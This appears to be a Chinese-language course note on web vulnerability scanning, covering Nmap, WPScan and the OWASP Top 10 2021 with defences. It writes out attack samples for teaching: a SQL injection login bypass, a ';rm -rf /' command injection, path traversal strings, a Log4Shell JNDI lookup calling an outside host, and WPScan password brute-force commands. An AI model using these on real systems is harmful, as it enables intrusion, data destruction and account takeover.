# 資訊安全:Web 漏洞掃描
###### tags: `NCNU` `1102` `lsa` `Linux`
[TOC]
:::info
[影片連結點我](https://drive.google.com/file/d/1ahlVAhBvYp7_4zkXLNBOem2OtZaZ_szM/view?usp=sharing)
:::
## 資訊安全
### 資安是什麼
引用自 wiki
- 機密性(Confidentiality)
- 確保資料是經由授權的使用者查看、使用
- 例子:別人看了你不想給別人知道的祕密
- 對策:身分驗證、加密
- 完整性(Integrity)
- 確保資料在傳輸或儲存時,能保有正確性、一致性不會遭到非法使用者修改
- 例子:在傳輸過程中竄改資料
- 對策:對檔案進行完整性驗證
- 可用性(Availability)
- 當使用者需要使用時,服務或資料能保持可使用的狀態
- 例子:軟硬體故障、電源故障、自然災害和人為疏失
- 對策:備份
### 資安重要嗎?
有許多人的覺得自己的身分資料不重要,不會造成個人重大損失。
1. 破解其他使用相同帳密的服務
2. 以你的名義辦理銀行帳號/信用貸款(這可能會影響你的信用評等)
3. 以你的名義購買昂貴物品(如新手錶或電視機)
4. 可能會入侵工作帳號來攻擊你的雇主
### Web 安全
- 常見資安威脅之一
- 在正式攻擊之前,駭客通常需要對目標進行偵查
- 利用偵查結果較能找到系統薄弱點,提高攻擊成功機會
## 情資蒐集
### 資安服務簡介
常見的資安服務分成弱點掃描、滲透測試、紅隊演練
#### 弱點掃描
主要分為兩種
- 網路掃描:透過商業掃描軟體、開源軟體針對企業網路內部尋找企業的服務、系統是否存在已知的漏洞。
- 網頁掃描:透過商業掃描軟體 、開源軟體針對企業網站進行檢測。(本次期末報告應屬於這類)
#### 滲透測試
- 以駭客的角度,針對企業的網路、系統、網站進行檢測弱點與漏洞,並撰寫一份滲透測試報告提供給企業
- 該報告內容包含測試過程結果與修復建議,企業收到此報告後,可根據報告內容進行弱點修復。
- 弱點掃描完成後,根據弱點掃描結果嘗試攻擊
#### 紅隊演練
- 以企業整體進行演練,包含完整滲透測試、後滲透(橫向移動等),依據客戶需求可能包含社交工程、 DDoS、實體安全。
- 紅隊為攻擊方;藍隊為防守方
::: info
- 後滲透:模擬駭客入侵企業後,在關鍵使用者上,對網域控制站或其他網域使用者發動攻擊,目標為拿下網域控制站或竊取資料。
> 引用來源:[後滲透測試](https://www.digicentre.com.tw/back-pt.html)
- 社交工程 : 利用人性心理弱點進行資安攻擊
> 詳見維基:[社交工程](https://zh.wikipedia.org/zh-tw/%E7%A4%BE%E4%BC%9A%E5%B7%A5%E7%A8%8B%E5%AD%A6)
- DDos:分散式阻斷服務攻擊,利用大量被控制的裝置對目標發送大量服務請求,導致該伺服器無法回覆正常使用者的服務請求
- 實體安全:包含硬體環境控制、火災、地震、風災、水災及盜竊人為破壞管理控制...等。
:::
### 蒐集可利用情資
蒐集分為:主動蒐集、被動蒐集
- 主動蒐集
主動與目標互動獲得資訊,舉例如下:
- port
- 已知漏洞
不同工具可獲取不同資訊,舉例如下:
- Nmap:對網路服務掃 port 、已知漏洞
- Nikto:web 爆破目錄
- WPScan:web 針對 Wordpress 弱點進行檢測
- 被動蒐集
蒐集公開來源資訊,舉例如下:
- DNS 相關:IP 位址、域名
- 與目標相關的人的相關資訊:客戶、員工
- 姓名、信箱
- 目標所使用的技術類型或廠商:VPN 廠商 、 第三方服務
- 目標常使用的帳號命名方式和密碼規則
下面將介紹如何透過 Nmap 、 Wordpress 來蒐集情資
### NMAP
Nmap 是網路安全工具,通常用於檢測目標主機是否在線上、 port 開放情況、偵測執行的服務類型及版本資訊 和 猜測作業系統及裝置類型等資訊。
#### 目標選項
1. `-iL <inputfilename>` 從檔案中讀取主機名稱
2. `-iR 3` 隨機掃描,後方接數量
- 如選 `0` 則永無止盡的掃瞄:`nmap -sS -iR 0 -p 80`
:::info
**常用參數**
- `-sV` 詢問服務
- `-O` 作業系統
- `-A` 包含作業系統探測 & 服務探測
- `-F` 快速掃描(只掃描常用的 100 個 Port)
- `-script` 使用腳本掃描
- ipidseq 可以用來尋找 tcp idle scan 所需的殭屍電腦
- `-T0` ~ `T5` 設定掃描速度
- 數字越高,速度越快
- T0、T1 可以降低被目標發現的機率
- `-e` 指定網卡
:::
:::info
**TCP 交握**

:::
#### 主機發現
預設狀況下 Nmap 會發送兩個 TCP SYN 封包到主機 80、443 Port,刺探主機是否在線上,之後才進行掃描 1000 個 TCP Port


##### `-sL` 列表掃描
- 僅列出指定網路上的每台主機,不發送封包進行探測,但仍會進行反向域名解析獲取主機名稱
- 不會執行 Port 掃描、OS 探測

::: info
**反向域名解析(reverse DNS)**
DNS 是將域名轉換成 IP,而反向 DNS 就是將 IP 轉換成域名
獲取之後可以得知對方主機名稱,根據名稱可以進一步猜測主機用途。
:::
##### `-sn` `-sP` (No Port Scan)
- 直接查看設備是否在線上
- 只顯示有回應的主機
- 比 List Scan 更具侵略性但結果類似,知道目標有多少主機在線上(多知道主機在線)

##### `-Pn`(No Ping)
- 省略刺探封包測試主機是否在線,開始掃有沒有開啟的 Port

:::danger
如果主機沒在線,卻不是使用 `-Pn` 就會直接被結束

:::
##### `-PS`(TCP SYN Ping)
- 會送出 SYN ,預設使用 80 Port(也能進行指定 `-PS22`,無須空白,如果無回應就不進行掃描,主要用來指定刺探封包的 port)
- 目標主機 Port 關閉時,會收到 RST 封包
- 目標主機 Port 開啟時,會收到 SYN/ACK 封包,但 Nmap 回傳 RST 而非 ACK,不讓雙方主機連線,只在確認設備是否在線
#### Port Scanning Techniques
- 掃 Port 主要指令是 `-s` 開頭
- Nmap 是根據目標主機的回應來判斷 Port 是否開啟
- 預設狀況是執行 SYN Scan 但若無 Root 權限則是以 Connect Scan 執行
##### `-sS` (TCP SYN (Stealth) Scan)
`sudo nmap -sS 192.168.0.1 -F`
- 特性
- 直接執行 Nmap 時,如有權限預設使用此技術
- 可以快速執行
- 相對 `sT` 隱蔽,因為沒有完成 TCP 連線也較能分辨 Port 是否開啟或被防火牆阻擋(探測出預設服務)
- 原理:利用 TCP 交握探測 Port 是否開啟
- 首先都先向對方發送 SYN
- Port 開啟
- Server 傳送 SYN/ACK
- kard 傳送 RST

- Port 關閉
- Server 傳送 RST/ACK

- Port 被防火牆阻擋
- 因為沒有封包到 Server ,所以他自然也不會回應(當然也有可能是封包丟失或是 Nmap 放棄接收)
- 如果收到 ICMP 錯誤訊息,也會被標示為 filtered

| Response | Assigned State |
| -------------------- | ----------- |
| TCP SYN/ACK | open |
|TCP RST | closed |
|No response received | filtered |
|ICMP unreachable error(type 3, code 1, 2, 3, 9, 10, or 13)| filtered |
::: success
**如果不想用 wireshark 查看封包**
- Nmap 也提供 `---packet-trace` 可以查看封包發送回應狀況

:::
SERVER端如何發現正在被使用 Nmap 掃描:
- Window Size 過小 Nmap 只使用 1024,通常是更高
- TCP Options 過少(只有一個),但現實世界通常很多
::: danger
官網再度提醒雖然稱為隱形掃描,但現今 IDS 或個人防火牆都有能力檢測到
:::
:::info
**什麼是 IDS**
- 一種積極主動的安全防護技術
- 監控網路傳輸或者系統
- 檢查是否有可疑活動或者違反企業的政策
- 偵測到時發出警報或者採取主動反應措施。
:::
##### `-sT` (TCP Connect Scan)
`nmap -sT 192.168.0.1 -F`
- 特性
- 相比 SYN Scan 需要較長時間
- 效率較 SYN Scan 差
- 目標更有可能紀錄連線, syslog 可能會記錄這個不傳送資料就斷開連線的事件,輸出基本與 `-sS` 相同
- 當 Nmap 無法執行 SYN Scan 時預設執行此掃描
- 原理:利用 TCP 交握探測 Port 是否開啟

SERVER端如何發現正在被使用 Nmap 掃描:
計算 TCP 連線完成後是否馬上中斷


|length | type |
|-|-|
|1 | SYN|
|2|SYN-ACK|
|4|ACK|
|8|DATA|
|16|FIN|
|32|RST|
:::danger
無法使用以下來判斷
- Window Size 過小
- TCP Options 過少
但可以使用 conversation competeness 的數字來判斷
1+2+4+32=39 表示建立連線後就立即中斷
:::
##### `-sU` (UDP Scan)
`nmap -sUV 192.168.0.1`
- 特性:使用 UDP 掃描,易有無法判斷的 Port 發生,可能會比較慢。
- 原理:利用 UDP 探測 Port 是否開啟
| Response | Assigned State |
| -------------------- | ----------- |
| any UDP response | open |
| no response(even after retransmissions)| open/filtered |
|ICMP port unreachable error (type 3, code 3) | closed |
|ICMP unreachable error (type 3, code 1, 2, 9, 10, or 13) | filtered |
- 因發送的是空的 UDP 封包,有些程式判斷為無效封包不進行回應,而又 UDP 服務通常自己定義自己封包結構,所以 Nmap 需要為每個服務發送正確格式可以輔助消除(`sV`)open|filtered 出現
- 例:`nmap -sUV 192.168.0.1 -F` (40~60分鐘)


##### `-sA` TCP ACK SCAN
- 特性
- 不會知道 Port 有沒有開啟,但可以用來判斷目標主機是否有防火牆保護
- 原理:向目標主機發送帶有 ACK 的封包
- 有防火牆保護
因為封包到不了目標主機,所以會得到 ICMP error 或是 無回應

- 無防火牆保護
目標主機發送 RST

| Response | Assigned State |
| -------------------- | ----------- |
| TCP RST response | unfiltered |
| no response(even after retransmissions)|filtered|
|ICMP unreachable error (type 3, code 1, 2, 3, 9, 10, or 13)|filtered|
##### `-sI` TCP Idle Scan
- 特性
- 使用殭屍電腦掃描,極其隱蔽。且看起來就像僵屍電腦在掃描目標電腦。但速度極慢 SYN scan 15 秒,他可能要 15 分鐘
:::info
**殭屍電腦**
是指接入網際網路受惡意軟體感染後,受控於駭客的電腦。其可以隨時按照駭客的命令與控制。
此掃描可利用先前提到的腳本捕捉可利用的殭屍電腦。
:::
- 可以繞開某些過濾防火牆和路由器。像是來源 IP 過濾(用來限制機器連線到敏感主機)
- 需要能傳送欺騙封包,偽裝成是殭屍電腦,並讓他們到達目標電腦,目前很多 ISP 服務商會透過執行出口過濾來防止這類封包欺騙
- 可靠性
- 原理
1. SYN Scan(也就是發送 SYN 判斷對方回覆是 RST 還是 SYN/ACK 來判斷 Port 開啟還是關閉)
2. 如果有人直接發送 SYN/ACK ,則會回覆 RST
- 如果有人直接發送 RST,則無視他
3. IP 封包的標頭中,有一個欄位是識別碼(Identification),一般來說作業系統會逐漸 +1 的方式增加此欄位
- 接下來利用上述讓殭屍電腦去掃描目標
1. 探查殭屍電腦目前 IP ID
2. 在殭屍電腦上偽造封包,在將封包傳送給目標主機。
3. 再度探查殭屍電腦目前的 IP ID,並跟之前的進行比較
- 增加 1 那表示殭屍電腦沒有再傳送封包,也就是目標沒有開啟 Port 或 filtered


- 增加 2 那表示殭屍電腦成功對目標傳送封包,同時代表目標 Port 開啟

#### Nmap 性能提升
- 提升 Nmap 性能:
- 增加主機並行度
如果 Nmap 每秒僅接收單一主機的錯誤封包,那可以透過`--min-hostgroup 100` 提升平行掃描能力
- 先掃描熱門
使用`-F`先掃描 Nmap 所指定的最常見的 100 個 Port
- 添加 `--version-intensity 0` 到版本檢測掃描(`sV`)
將指定 Nmap 僅嘗試對 Port 最有可能的版本檢測
- 影響巨大
- 與上方掃描相同結果卻差了 20 多分鐘


- 在防火牆內掃描
有些防火牆會有封包速率限制,在防火牆內就不會受到限制了
- 用 `--host-timeout` 跳過慢速主機
可以設定單一主機掃描時間超過一定時間後放棄掃描此主機。
例 `--host-timeout 15m`
- 用 `-v` 和休息
會列出詳細訊息,然後就...去旁邊休息找事情做
##### 掃描結果 - Port 狀態
Nmap 掃描完後分為六個狀態
1. open
開放的 Port,可接受 TCP、UDP 連線
2. closed
關閉的 Port,但可訪問(接受 Nmap 封包並回應),但沒有應用程式在監聽,可以用來標示主機正在線或是協助 OS 檢測,管理員可能需要考慮使用防火牆阻擋這一類別的 Port
3. filtered
Nmap 無法確定 Port 是否開啟因為封包無法到達 Port 即被過濾掉。可能是被防火牆設備、路由器規則、主機防火牆過濾
4. unfiltered
Port 可訪問,但 Nmap 無法確定她是開啟還是關閉
5. open|filtered
Nmap 不知道是開啟或被過濾的 Port,測試開啟的 Port 但沒有回應,導致 Nmap 無法分類
6. closed|filtered
當 Nmap 不知道是關閉或被過濾的 Port
### WPScan
#### 什麼是 WPScan
- Wordpress
- 三大建站模板之一
- 可使用外掛、Theme
- 專用於檢查 WordPress 網站漏洞
:::danger
**Windows 不支援 WPScan,最新版本的 WPScan 可以在 Linux 或 Mac 上下載使用**
:::
#### WPScan 使用
- **`wpscan --url 【URL】 【options】`**
- 若沒有指定掃描 option,預設為:`vt, tt, u, vp`
- 可以指定多個掃描 options,例:`-e tt, p`
:::info
**參數整理**
- `--update`:更新 wpscan
- `--url 【target url】` = `-u 【target url】`:要掃描的 WordPress 站點.
- `--force` = `-f`:不檢查網站執行的是不是 WordPress
- `--enumerate` = `-e`:列舉
- `--threads 【numbe rof thread】` = `-t 【number of threads】`:指定用幾個執行緒作接下來的事情
**options**
- `u`:列舉使用者名稱,預設從1-10
- `--wordlist 【指定字典】` = `-w 【指定字典】`:指定字典
- `--username` = `-u 【指定爆破的使用者名稱】`:爆出這個 username
- `--usernames 【指定字典】`:針對此 username 的密碼作爆破攻擊
- `p`:列舉外掛
- `ap`: 列舉所有外掛,時間較長
- `vp`:只列舉有漏洞的外掛
- `t`:列舉模板(主題)資訊
- `at`: 列舉所有主題,時間較長
- `vt`: 只列舉存在漏洞的主題
- `tt`: 列舉縮圖相關的檔案
:::
1. 竊取機密資訊
- `wpscan -u 【URL】 --enumerate u` 掃描 Wordpress 使用者




2. 暴力破解密碼
- `wpscan -u 【URL】 -e u --wordlist 【字典檔案路徑】`
- `wpscan -u 【URL】 -P 【字典檔案路徑】 -t 50` 使用 50 個 Thread 對發現的網站使用者進行暴力破解密碼

> 執行結果上半部如上,所以只截下面不同的地方
3. `TimThumb` 檔案漏洞掃描
- `wpscan -u 【URL】 -e tt`

> 執行結果上半部如上,所以只截下面不同的地方
:::info
**什麼是 TimThumb**
- Wordpress 縮圖生成腳本
- 95% 的 Theme 中帶有 Timthumb 腳本(使用率高)
:::
## OWASP TOP 10 2021
:::success
> FIXME:TOP 10 的可利用方案
:::
- 什麼是 OWASP
- Open Web Application Security Project(開放式 Web 應用程式安全專案)
- 非營利性質的線上社群
- 長期致力協助政府/企業瞭解並改善網頁應用程式與網頁服務的安全性
- 目標:研議、協助解決 Web 軟體安全之標準、工具與技術文件 :arrow_right: 在 Web 應用安全領域提供免費的文章,方法,文件,工具和技術
- 計畫:[OWASP Docker Top 10](https://owasp.org/www-project-docker-top-10/)、[OWASP ctf](https://owasp.org/www-project-ctf/)、[WebGoat](https://owasp.org/www-project-webgoat-php/)

> [圖片來源](https://owasp.org/www-project-top-ten/)
- OWASP TOP 10 2021
- Broken Access Control
- Cryptographics Failure
- Injection
- <font color=orange>**Insecure Design**</font>
- Security Misconfiguration
- Vulnerable and Outdated Components
- Identification and Authentication Failures
- <font color=orange>**Software and Data Integrity Failures**</font>
- Security Logging and Monitoring Failures
- <font color=orange>**Server-Side Request Forgery**</font>
- OWASP Top 10 2021 大多將廣泛的問題更動歸結為問題的核心
- 實際的攻擊通常不會是單一問題造成
### Broken Access Control 權限控制失效
- 使用者可以執行系統賦予的權限以外才能做的事情
- 存取、修改、刪除、外觀更動...
- 種類
- Horizontal privilege escalation:使用者可以看到同等權限的使用者資訊
```
https://mybankingapp.test/cgi-bin/hpe.py?accountId=4462
```

```
https://mybankingapp.test/cgi-bin/hpe.py?accountId=4463
```

- Vertical privilege escalation:提權,一般使用者可以透過修改 URL 中變數讓自己存取 `admin-only` 的權限
- [News](https://thezerohack.com/hacking-facebook-pages)!2015 年 8 月,資安研究者發現 Facebook 有一個允許使用者將自己的權限改為指定頁面 admin 的弱點
- 使用者可以用以下 POST Request 讓自己變成此頁面的 admin
```
Request :-
POST /<page_id>/userpermissions HTTP/1.1
Host : graph.facebook.com
Content-Length: 245
role=MANAGER&user=<target_user_id>&business=<associated_business_id>&access_token=<application_access_token>
```
```
Response:-
true
```
- 使用者接管頁面
```
Request :-
POST /<page_id>/userpermissions HTTP/1.1
Host : graph.facebook.com
Content-Length: 245
role=MANAGER&user=<target_user_id>&access_token=<application_access_token>
```
```
Response:-
true
```
- 使用者用 DELETE Request 刪除此頁面
```
Request :-
Delete /<page_id>/userpermissions HTTP/1.1
Host : graph.facebook.com
Content-Length: 245
user=<target_user_id>&access_token=<application_access_token>
```
```
Response:-
true
```
- 目錄遍歷(Path/Directory Traversal)
:::info
[怎麼知道網頁目錄架構?DirBuster 幫我通靈](https://www.kali.org/tools/dirbuster/)
:::
- 讓駭客有機會跨目錄或檔案讀取資料,藉此取得伺服器上非公開的檔案/列出伺服器目錄
- `https://game.com` 下的檔案目錄
```
/home/document/123.html
/home/app.conf
```
- `https://game.com/document/123.html` :arrow_right: `/home/document/123.html `
- `http://game.com/document/../app.conf` :arrow_right: `/home/document/../app.conf` = `home/app.conf`
- 影響
- 竊取機密資訊 :arrow_right: `.conf`、`.log`
- 系統資訊(錯誤訊息、歷史版本網站)
- DB 連線資訊
- DB 的對外公開 IP
- user
- password
- tee:系統的 standard output
- Brute Force 該使用者密碼 :arrow_right: `/etc/passwd` + `etc/shadow`
:::info
**暴力破解**
- Brute Force:用窮舉法 Try-Error,例如已知密碼是8個字元,就用特殊符號、英文字元、數字排列組合出所有可能,每一種組合都嘗試
- Dictionary Attack(主流):用常見密碼/單詞生成一個字典檔,再進行組合並嘗試
:::
- 真正攻擊時通常不會直接在網址目錄上加 `../`,因為 會直接被 Client 端的瀏覽器解析 :cry:

- 通常會把 `../` 經過 URL encode 變成 `..%2F` 才放進網址目錄,就會成功送到 Server 解析 :smile:

> [圖片來源](https://medium.com/%E7%A8%8B%E5%BC%8F%E7%8C%BF%E5%90%83%E9%A6%99%E8%95%89/%E7%9B%AE%E9%8C%84%E9%81%8D%E6%AD%B7-path-traversal-%E6%94%BB%E6%93%8A%E6%89%8B%E6%B3%95-238218d5115d)
> 做防守的人要想攻擊的人會怎麼攻擊來防守;做攻擊的人要用防守的心態做攻擊 [name=BT]
#### 防禦
- 只要是非公開的資源,預設為「拒絕存取」
- 一次性的建立好存取控制的措施,並在接下來的整個系統中採取 SDK 或 Library 的方式建立全面性的身分存取驗證措施
- 紀錄存取控制的錯誤,設定適當時機(e.g. 出現重複錯誤)時警示 admin
- 驗證/限制輸入,禁止輸入 `../` 或他的變形
- 資料處理
- 其他
### Cryptographic Failure 加密機制失效
- 前身為機敏資訊外洩(Sensitive Data Exposure):arrow_right: 廣泛的問題
- 加密機制的失敗,造成機敏資訊外洩/系統被破壞 :arrow_right: 問題的核心、根本原因
- 種類
- 明文傳輸/儲存機敏資訊,e.g. HTTP、FTP、SMTP
- 弱密碼、加密演算法
#### 影響
- [又是資安問題!Facebook 使用明文存取數億份使用者密碼遭議](https://www.inside.com.tw/article/15870-facebook-storage-text-password)
#### 防禦
- 機敏資訊已經過加密才進行傳輸
- 密碼經過雜湊並加鹽才儲存(不以明文儲存密碼)
- 使用成熟的加密方法,且當使用的加密方法出現缺陷,應立即更新
### Injection 注入式攻擊
- 類型:
- 多數 :point_right: 針對資料庫 :point_right: SQL Injection
- 罕見 :point_right: 針對命令列工具 :point_right: Command Injection(Shell Injection)
- 因為各式各樣的 Web 應用系統中,多數都會使用資料庫;較少數會透過 API 端點控制其他 CLI(Command-Line Interface)/ 解譯器
:::info
**API 端點**
- API
- 應用程式開發介面
- 定義兩個具有不同功能的軟體如何使用 request & response 彼此進行通訊的機制
- e.g. 氣象局的軟體系統包含有每日的天氣資料。手機中的天氣應用程式會透過 API 與此系統「交談」,並且在手機顯示每日天氣的最新消息 :arrow_right: 氣象局的天氣資料庫是 Server;行動應用程式是 Client
- API 端點
- API 通訊系統中最終的接觸點
- 相關資訊透過此處在系統間傳送與接收
- 伺服器 URL、服務以及其他特定數位地點
- API 端點的重要性
- 安全
API 端點會使得系統容易遭受攻擊
- 效能
API 端點(尤其是高流量的 API 端點)可能會影響系統效能
:::
#### SQL Injection
- 透過修改 SQL 語句,讓資料庫輸出攻擊者想看到的結果
- e.g.
- 原查詢語句
```sql=
SELECT * FROM user WHERE account = '' AND password = '' BETWEEN account1 AND account100;
```
- 使用者輸入

- 查詢結果
```sql=
SELECT * FROM user WHERE account = '' AND password = '' or 1=1 -- BETWEEN account1 AND account100;
```
- [demo](http://testasp.vulnweb.com/Login.asp)
- Username:隨喜
- Password:`'or 1=1 --`

- 執行結果:成功登入

- SQL Injection 防禦
- Query Parameterization 參數化查詢
```sql=
SELECT * FROM person WHERE name = $1 AND password = $2
```
```php=
$sql = "select * from user where `username` = ? AND `password` = ?";
$stmt = mysqli_prepare($db, $sql); //prepare sql statement
mysqli_stmt_bind_param($stmt, "ss", $username, $password); //bind parameters with variables
mysqli_stmt_execute($stmt); //執行SQL
$result = mysqli_stmt_get_result($stmt);
```
#### Command Injection(Shell Injection)
- 通常在伺服器上執行
- 惡意輸入被誤認為 OS 指令時就能成功注入
- e.g.
- 故意在查詢欄位輸入 `;pwd` 測試網站是否屬於 Linux 系統並顯示目前所在的目錄
- 以下是一段允許遠端使用者唯讀檔案內容的程式
- 以 Root 權限執行
```shell=
int main(char* argc, char** argv) {
char cmd[CMD_MAX] = "/usr/bin/cat ";
strcat(cmd, argv[1]);
system(cmd);
}
```
- 調皮的使用者
```shell=
“;rm -rf /”
```
- Command Injection 防禦
- 過濾特殊字元(& | ; $ > < ` \ !)
- 白名單:只接受在設定時被接受的,e.g. 數字/日期界線、資料長度... 內容
### Insecure Design 不安全設計
- 與設計相關的缺失
- 讓許多弱點得以出現且存在的原因
- SQLi
- Open [S3](https://docs.aws.amazon.com/zh_tw/AmazonS3/latest/userguide/Welcome.html#S3Features)
#### 防禦
- 讓整個產業在軟體開發及交付過程中,及早找出並處理相關問題
- threat modeling 威脅模型分析
- reference architectures 參考架構
- <font color=red>**Security by Design**</font>
### Security Misconfiguration 安全設定缺陷
- Server 上的目錄列表沒有被禁用 :arrow_right: 攻擊者可透過目錄發現並下載位於目錄內的編譯檔案,逆向工程出 Custom Code 後進而發現存取權限漏洞
- 使用系統預設的 Admin 帳號密碼 :arrow_right: 攻擊者可在發現 Admin Page 後使用預設的帳號密碼登入並接管
- 讓 User 收到 Server 的 Stack Traces 結果 :arrow_right: 攻擊者最愛看到系統報的任何錯誤訊息 :heart:
:::info
**Custom Code**:將系統間的資料互相連結的傳統編碼方式
**Stack Trace**:簡單來講就是噴錯
```
Exception in thread "main" java.lang.NullPointerException
at com.example.myproject.Book.getTitle(Book.java:16)
at com.example.myproject.Author.getBookTitles(Author.java:25)
at com.example.myproject.Bootstrap.main(Bootstrap.java:14)
```
:::
#### `.git`
- `.git` 資料夾未進行權限控管,所有人都可以存取
- `.git` Directory
- 所有設定
- 使用者資訊
- Proxy 資訊
- 其他機敏資訊
- 來源
- Repo 來源
- Clone 來源
- 歷史
- 可透過工具回溯出以前被 Commit 的版本
- 只要曾經 Commit 過密碼就等於公開在網路上
- Source Code
- 開發者可能為了方便直接把 Server Access Keys、 DB passwords、Hosted Files 直接放在 Source Code 中
- `.git` 防禦
- 將 File Name 雜湊,即使 git dir 被看見了也不會那麼好猜出
- 自己做 PT 確保自己的 `.git` Directory 無法被公開存取
- 用 `.gitignore` 避免將非必要的資料 Commit to Repo
- <font color=red>**永遠不要**</font> 將 Credential、Secret Key、密碼放在 Source Code 當中 Commit 出去!
#### Web Server
- 直接以 Root 執行 Web Server(apache、nginx、lighttpd..)
- 攻擊者可能會透過 Service 的 Admin 取得服務上更多僅能以 Admin 權限存取的資源;或影響系統上在 Run 的其他服務
- Web Server 防禦
- 新增專屬的 User & Group 限制權限
- `addgroup 【GroupName】`
- `adduser –-group 【GroupName】 【Username】`
- 最小權限原則
> 詳細可以回去複習 LSA 上的 Web Server
#### 防禦
- 依據最小權限原則配給權限
### Vulnerable and Outdated Components 危險或過舊的元件
- 前身:使用有已知弱點的元件
#### 攻擊第三方元件
- 第三方元件
- 只要是在系統開發過程中直接/間接被引用的源碼、套件、模組,皆可稱為第三方元件
- e.g. npm
- 起因
- 多數公司開發系統都會使用 Open Source Software(OSS)的程式碼
- 直接引用的 OSS 不見得會經過嚴格的源碼審查
- 時點分析的成本過高,引用者也不願意增加源碼審查的預算
- 有心人士開始尋找源碼漏洞,並針對有引用此源碼的系統進行攻擊
- 通常要在短時間內利用第三方元件發動攻擊,會直接尋找系統使用的第三方元件之已知漏洞,並趁漏洞修復前就發動攻擊
:::info
**時點分析**
充分了解、深入剖析源碼,並定期追蹤源碼改版狀況。
:::
- [CVE(Common Vulnerabilities and Exposures)](https://cve.mitre.org/cve/) 通用漏洞批漏
- 用於收錄、公開批漏資安漏洞的列表
- 給予漏洞編號
- 當有人提及 CVE,通常意指此漏洞在 CVE 當中被賦予的 ID
- 由美國國土安全部資助的 [MITRE Corporation](https://cve.mitre.org/) 機構所維護
- 雖然 CVE 是由 MITRE 所維護,但通常這些安全缺陷是由一些開源社群組織或其內成員所提供
- 此列表不會包含任何技術資料,風險、影響及修補資訊
- 那些資訊通常會包含在 NVD、CERT/CC Vulnerability Notes DB 或其他組織中
#### 實例 - Log4j(Log4Shell)
- CVE-2021-44228
- Log4j
- 隸屬於 Apache,全名為 Apache Log4j
- 網站後端程式碼中的一種 Java 的 Log 套件
- 用於紀錄(log)對於網站的請求(request)
- 漏洞原理:當 Log4j 記錄到某些符合特定格式的字串時,就會觸發一個功能可以執行程式碼
```
${jndi:ldap://cymetrics.io/test}
```
- 當 Log4j 紀錄上面那一串字時,發現這串字串符合特定格式,就會去裡面的網址下載程式碼並且執行
- 屬於 RCE(Remote Code Execution,遠端程式碼執行)漏洞
:::info
**RCE(Remote Code Execution)**
- 高危險漏洞
- 一旦攻擊者成功,就能在遠端針對目標系統執行惡意程式碼
- 影響
- 系統控制權轉移
- 機密資訊竊取
**Follina**
- CVE-2022-30190
- 影響:目前所有的 Windows 版本
- MSDT
- Microsoft 支援診斷工具(MSDT)會收集要傳送給 Microsoft 支援人員的資訊
- Microsoft 支援人員會分析此資訊,並使用它來判斷您的電腦上可能遇到的任何問題的解決方式
> [name=Windows 官方文件]
- 漏洞原理:當用戶打開特製 Word 文件,Word 中寫有的 HTML 會去網頁執行 `ms-msdt://`。然後攻擊者就可以開始對受害者的電腦做 :smiling_imp: 的事,例如:安装木馬、查看、更改或刪除數據,或者創建高權限的後門帳號
- 防禦
- 以管理員權限運行命令指示字元
- 執行 `reg export HKEY_CLASSES_ROOT\ms-msdt ms-msdt.reg` 命令,以備份登錄機碼
- 執行 `reg delete HKEY_CLASSES_ROOT\ms-msdt /f` 命令,在註冊表中刪除 MSDT 的功能
> [Follina 參考資料1](https://www.youtube.com/watch?v=HriwHy2FmoA)
> [Follina 參考資料2](http://www.yxfzedu.com/rs_show/1818)
:::
- 為什麼這個漏洞這麼嚴重?
- 使用 Log4j 套件的人數極多
- 只要有用 Java,幾乎都會這個套件紀錄 Log
- 觸發方式容易
- 只要在 Request 的各個地方塞滿這些有問題的字串,Server 有記錄到任一個就能觸發漏洞
- 造成的影響極大
- 漏洞屬於最嚴重的 RCE 類型,被觸發就可以執行任意程式碼
- Log4j 防禦
- 不知道自己是否有使用到此套件可使用 [log4j-scan](https://github.com/fullhunt/log4j-scan) & [log4j-tools](https://github.com/jfrog/log4j-tools) 掃描
- 已知有使用 Log4j :arrow_right: 停用/升版
#### 防禦
- 若使用 Open Source 第三方套件難以避免,則應定時注意套件的資安消息,當一有新的漏洞被發現可以在第一時間應變
### Identification and Authentication Failures 認證及驗證機制失效
:::danger
Authentication means “you are who you say you are”.
:::
- 前身:Broken Authentication
- 關於認證的管理不當
- 密碼
- 未避免自動化攻擊,e.g. Brute-force Password、Credential Stuff
- 在重設密碼/找回密碼的環節有漏洞
- Session
- 沒有設定好 Session 的 timeout
#### Credential Stuff
- 利用殭屍網路將不法取得/外流的登入憑證列表拿到不同的的網站去試,直到某一組帳號密碼成功為止
- 影響
- 成功盜用 Spotify、Netflix 帳戶之後可以將該組帳戶以比訂閱費用更低的價格賣出獲利
- 成功盜用金融帳戶後可以冒用使用者身分下單高額產品
- 成功盜用公司/機構員工帳戶後可以看到內部機密資訊(客戶信用卡資訊等)
#### AWS Key Leak
- 2020 年 AWS 內部工程師曾失手將包含密碼、AWS Key Pairs、Private Key 的 System Credential 放上公開的 Github Repo
- 幾小時後這份 Repo 就被 AWS 下架
- 但根據網路上的實驗,在 GitHub 上被公開的密碼、Key 等等僅需約一分鐘的時間就會被駭客找到並利用
- 影響
- [開發人員金鑰外洩10分鐘,AWS帳號馬上被盜用6500美元](https://www.ithome.com.tw/news/98497)
#### 防禦
- MFA(多因子認證)
- 定期更換憑證
- 其他
### Software and Data Integrity Failures 軟體及資料完整性失效
- Data Integrity
- 資安三要點之一
- 在傳輸、儲存資訊/資料的過程中,確保資訊/資料不被未授權的篡改或在篡改後能夠被迅速發現
- 通常使用數位簽章、雜湊函式等手段保證數據完整性
- 在更新過程中將惡意代碼注入
- CI/CD 的流水線安全問題(可參照 CI/CD 講義中的 Security)
#### 防禦
- 使用標準化架構
### Security Logging and Monitoring Failures 資安記錄及監控失效
- Log & Monitor 的失效帶來的影響巨大(事故警告、數位鑑識)
- 沒有記錄下該記的東西
- 登入/不斷失敗的嘗試
- 無法提供有效資訊的模糊記錄檔
- 無法及時發覺並警告可疑活動
- 未自動備份 Log
- Log 未受完整性保護
- 可以被竄改
#### Log Forgery
- 原先的 Log Code
```shell
String userID = request.getParameter(“userID”);
try {
int user = Integer.parseInt(username);
...
log.info(“Successful Login, ID=” + value);
}
catch (NumberFormatException) {
log.info(“Failed Login, ID=” + value);
}
```
- 一旦 `Successful Login`,計算 Failed Login 的次數就會 reset
- 試圖以 Brute Force 暴密碼的攻擊者若是在線攻擊(每次猜測都會與 Server 連線),Log 紀錄到一定次數的 `Failed Login` 就會發出 Alert
- 攻擊者若在嘗試到達錯誤次數上限前,插入一則偽造的 Log
```
Sep 11:2018:01:07:13: Failed Login, Id=sha
Sep 11:2018:01:07:13: Successful Login, Id=sha
```
